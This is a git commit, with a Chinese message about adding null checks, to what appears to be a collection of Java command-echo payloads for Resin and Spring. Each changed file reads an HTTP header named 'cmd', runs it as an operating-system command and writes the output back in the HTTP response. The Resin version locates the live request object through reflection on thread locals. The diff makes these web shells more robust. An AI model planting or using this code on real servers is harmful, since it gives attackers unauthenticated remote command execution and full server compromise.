增加空指针（空字符串)判断，可以忽略

feihong · feihong · commit 68edac7031da · 2020-10-15T11:01:57.000+08:00
diff --git a/Resin/code/resinEcho.jsp b/Resin/code/resinEcho.jsp
@@ -1,6 +1,6 @@
 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
 <%
-        Class clazz = Thread.currentThread().getClass();
+    Class clazz = Thread.currentThread().getClass();
     java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals");
     field.setAccessible(true);
     Object obj = field.get(Thread.currentThread());
@@ -21,14 +21,19 @@
         if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")){
             com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;
             String cmd = httpRequest.getHeader("cmd");
-            String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
-            com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
-            httpResponse.setHeader("Content-Length", res.length() + "");
-            java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
-            method.setAccessible(true);
-            com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
-            httpResponseStream.write(res.getBytes(), 0, res.length());
-            httpResponseStream.close();
+			
+			if(cmd != null && !cmd.isEmpty()){
+				String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+				com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
+				httpResponse.setHeader("Content-Length", res.length() + "");
+				java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
+				method.setAccessible(true);
+				com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
+				httpResponseStream.write(res.getBytes(), 0, res.length());
+				httpResponseStream.close();
+			}
+			
+			break;
         }
     }
 %>
diff --git a/Spring/code/SpringMVCTestController.java b/Spring/code/SpringMVCTestController.java
@@ -19,8 +19,10 @@ public User Test() throws IOException {
         javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
 
         String cmd = httprequest.getHeader("cmd");
-        String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
-        httpresponse.getWriter().println(res);
+		if(cmd != null && !cmd.isEmpty()){
+			String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+			httpresponse.getWriter().println(res);
+		}
 
         return new User();
     }
diff --git a/Spring/code/SpringWebFlowTestController.java b/Spring/code/SpringWebFlowTestController.java
@@ -26,8 +26,10 @@ public String test() throws IOException {
         javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse) servletExternalContext.getNativeResponse();
 
         String cmd = request.getHeader("cmd");
-        String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
-        response.getWriter().println(res);
+		if(cmd != null && !cmd.isEmpty()){
+			String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+			response.getWriter().println(res);
+		}
 
         return "test";
     }
